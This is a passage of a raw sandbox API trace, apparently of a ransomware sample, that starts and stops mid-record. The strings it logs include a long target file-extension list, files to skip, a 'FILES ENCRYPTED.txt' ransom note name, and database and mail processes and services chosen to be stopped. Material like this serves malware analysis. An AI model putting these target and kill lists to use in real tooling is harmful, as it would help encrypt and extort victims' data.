(Heap=0x4f0000, Flags=0x0, Ptr=0x52a0f8, Size=0x8) returned 0x52a0e8 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a118, Size=0x8) returned 0x52a128 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53e060, Size=0x20) returned 0x5258e0 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53e090, Size=0x20) returned 0x525840 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a138, Size=0x8) returned 0x52a148 [0191.441] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0191.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a3b0 | out: hHeap=0x4f0000) returned 1 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53e108, Size=0x20) returned 0x525958 [0191.441] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x54d5a0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0191.441] lstrlenW (lpString="C:\\") returned 3 [0191.441] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0191.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d5a0 | out: hHeap=0x4f0000) returned 1 [0191.442] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a178, Size=0x82) returned 0x53ba40 [0191.442] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a198, Size=0x100) returned 0x53bad0 [0191.442] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ba40, Size=0x104) returned 0x53bcf8 [0191.442] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53bad0, Size=0x200) returned 0x53be08 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a188 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53be08 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b658 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b750 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e168 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b7d8 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e198 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53bcf8 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e180 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53bbd8 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b670 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53bc68 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b688 | out: hHeap=0x4f0000) returned 1 [0191.443] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53e180, Size=0x20) returned 0x525980 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a158 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e108 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b5b0 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e138 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b6c8 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e120 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a168 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53e150 | out: hHeap=0x4f0000) returned 1 [0191.443] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a488 | out: hHeap=0x4f0000) returned 1 [0191.444] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526000 | out: hHeap=0x4f0000) returned 1 [0191.444] lstrlenW (lpString="%systemdrive%") returned 13 [0191.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525958 | out: hHeap=0x4f0000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b5b8 | out: hHeap=0x4f0000) returned 1 [0191.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a138 | out: hHeap=0x4f0000) returned 1 [0191.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x52b590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53e150, Size=0x20) returned 0x5259a8 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5259a8, Size=0x40) returned 0x526ac8 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526ac8, Size=0x80) returned 0x54b5b8 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x53ba40 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ba40, Size=0x200) returned 0x53ba40 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ba40, Size=0x400) returned 0x53ba40 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ba40, Size=0x800) returned 0x53ba40 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53ba40, Size=0x1000) returned 0x5401c8 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a138, Size=0x8) returned 0x52a158 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a158, Size=0x10) returned 0x53e168 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53e168, Size=0x20) returned 0x5259a8 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5259a8, Size=0x40) returned 0x526ac8 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526ac8, Size=0x80) returned 0x54b5b8 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x5411e8 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5411e8, Size=0x200) returned 0x53be40 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53be40, Size=0x400) returned 0x5431d0 [0191.446] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5431d0, Size=0x800) returned 0x5441d8 [0191.446] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0191.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5401c8 | out: hHeap=0x4f0000) returned 1 [0191.447] lstrlenW (lpString="") returned 0 [0191.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x545058 | out: hHeap=0x4f0000) returned 1 [0191.447] lstrlenW (lpString=".aa1") returned 4 [0191.447] lstrlenW (lpString=".aa1") returned 4 [0191.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x545058 | out: hHeap=0x4f0000) returned 1 [0191.447] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x545088, Size=0x20) returned 0x5259a8 [0191.447] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5259a8, Size=0x40) returned 0x526ac8 [0191.447] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526ac8, Size=0x80) returned 0x54b5b8 [0191.447] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2d8, Size=0x8) returned 0x52a2e8 [0191.447] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2e8, Size=0x10) returned 0x545088 [0191.447] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x545088, Size=0x20) returned 0x5259f8 [0191.447] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0191.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b5b8 | out: hHeap=0x4f0000) returned 1 [0191.447] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5450b8, Size=0x20) returned 0x525a20 [0191.447] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525a20, Size=0x40) returned 0x526ac8 [0191.447] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0191.447] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0191.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526ac8 | out: hHeap=0x4f0000) returned 1 [0191.447] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5450b8, Size=0x20) returned 0x525a20 [0191.447] lstrlenW (lpString="Info.hta") returned 8 [0191.447] lstrlenW (lpString="Info.hta") returned 8 [0191.447] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525a20 | out: hHeap=0x4f0000) returned 1 [0191.447] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56d5c8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qnuriy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnuriy.exe")) returned 0x30 [0191.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d5c8 | out: hHeap=0x4f0000) returned 1 [0191.448] lstrlenW (lpString="qnuriy.exe") returned 10 [0191.448] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5259f8, Size=0x40) returned 0x526ac8 [0191.448] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5450b8, Size=0x20) returned 0x5259f8 [0191.448] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5450b8, Size=0x20) returned 0x525a20 [0191.448] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525a20, Size=0x40) returned 0x526b10 [0191.448] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526b10, Size=0x80) returned 0x54b5b8 [0191.448] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x5411e8 [0191.448] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5411e8 | out: hHeap=0x4f0000) returned 1 [0191.448] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x56d5c8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0191.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x57d5d0 | out: hHeap=0x4f0000) returned 1 [0191.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d5c8 | out: hHeap=0x4f0000) returned 1 [0191.448] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2e8, Size=0x8) returned 0x52a2d8 [0191.448] lstrlenW (lpString="%windir%;") returned 9 [0191.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5259f8 | out: hHeap=0x4f0000) returned 1 [0191.448] lstrlenW (lpString="C:\\Windows;") returned 11 [0191.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d5c0 | out: hHeap=0x4f0000) returned 1 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5450d0, Size=0x20) returned 0x5259f8 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5259f8, Size=0x40) returned 0x526b10 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526b10, Size=0x80) returned 0x54b5b8 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x5411e8 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a318, Size=0x8) returned 0x52a328 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a328, Size=0x10) returned 0x545118 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x545118, Size=0x20) returned 0x5259f8 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2e8, Size=0x8) returned 0x52a328 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2f8, Size=0x8) returned 0x52a2e8 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a318, Size=0x8) returned 0x52a338 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a338, Size=0x10) returned 0x5451c0 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5451c0, Size=0x20) returned 0x525a20 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a328, Size=0x10) returned 0x5451c0 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a2e8, Size=0x10) returned 0x5401f8 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a328, Size=0x8) returned 0x52a318 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a348, Size=0x8) returned 0x52a358 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5451c0, Size=0x20) returned 0x525a48 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5401f8, Size=0x20) returned 0x525a70 [0191.449] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a368, Size=0x8) returned 0x52a378 [0191.449] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0191.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5411e8 | out: hHeap=0x4f0000) returned 1 [0191.450] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540288, Size=0x20) returned 0x525ac0 [0191.450] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x55d5c0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0191.450] lstrlenW (lpString="C:\\") returned 3 [0191.450] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0191.450] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d5c0 | out: hHeap=0x4f0000) returned 1 [0191.450] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5431e8, Size=0x82) returned 0x53c520 [0191.450] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x543208, Size=0x100) returned 0x5411e8 [0191.450] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53c520, Size=0x104) returned 0x5409c8 [0191.450] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5411e8, Size=0x200) returned 0x5451f8 [0191.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5431f8 | out: hHeap=0x4f0000) returned 1 [0191.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5451f8 | out: hHeap=0x4f0000) returned 1 [0191.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540330 | out: hHeap=0x4f0000) returned 1 [0191.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b7d8 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5402e8 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b750 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540318 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5409c8 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540300 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53be40 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540348 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53bed0 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540360 | out: hHeap=0x4f0000) returned 1 [0191.452] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540360, Size=0x20) returned 0x525ae8 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a388 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540288 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b5b0 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5402b8 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b6c8 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5402a0 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a398 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5402d0 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x527ec8 | out: hHeap=0x4f0000) returned 1 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526120 | out: hHeap=0x4f0000) returned 1 [0191.452] lstrlenW (lpString="%systemdrive%") returned 13 [0191.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525ac0 | out: hHeap=0x4f0000) returned 1 [0191.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b5b8 | out: hHeap=0x4f0000) returned 1 [0191.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a368 | out: hHeap=0x4f0000) returned 1 [0191.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x54d5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0192.292] WaitForMultipleObjects (nCount=0x2, lpHandles=0x527c28*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xb6c Thread: id = 4 os_tid = 0xb78 [0192.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5402d0 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5402d0, Size=0x20) returned 0x525b10 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525b10, Size=0x40) returned 0x526b10 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526b10, Size=0x80) returned 0x54b5b8 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x5411e8 [0192.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5402d0 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5402d0, Size=0x20) returned 0x525b10 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525b10, Size=0x40) returned 0x526b10 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526b10, Size=0x80) returned 0x54b5b8 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x5412f0 [0192.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5402d0 [0192.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52a368 [0192.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5402a0 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a368, Size=0x8) returned 0x52a398 [0192.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x526140 [0192.259] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a398, Size=0x10) returned 0x5402b8 [0192.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x526160 [0192.259] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x525b10 [0192.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5402b8, Size=0x20) returned 0x525b38 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1c) returned 0x525b60 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x16) returned 0x526180 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1a) returned 0x525b88 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x5402b8 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4) returned 0x52a398 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40) returned 0x526b10 [0192.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a398, Size=0x8) returned 0x52a368 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3c) returned 0x526b58 [0192.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a368, Size=0x10) returned 0x540288 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x14) returned 0x5261a0 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x18) returned 0x5261c0 [0192.260] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540288, Size=0x20) returned 0x525bb0 [0192.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x527ec8 [0192.261] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0192.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5411e8 | out: hHeap=0x4f0000) returned 1 [0192.261] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0192.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5412f0 | out: hHeap=0x4f0000) returned 1 [0192.261] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x525c50 [0192.261] EnumServicesStatusExW (in: hSCManager=0x525c50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, 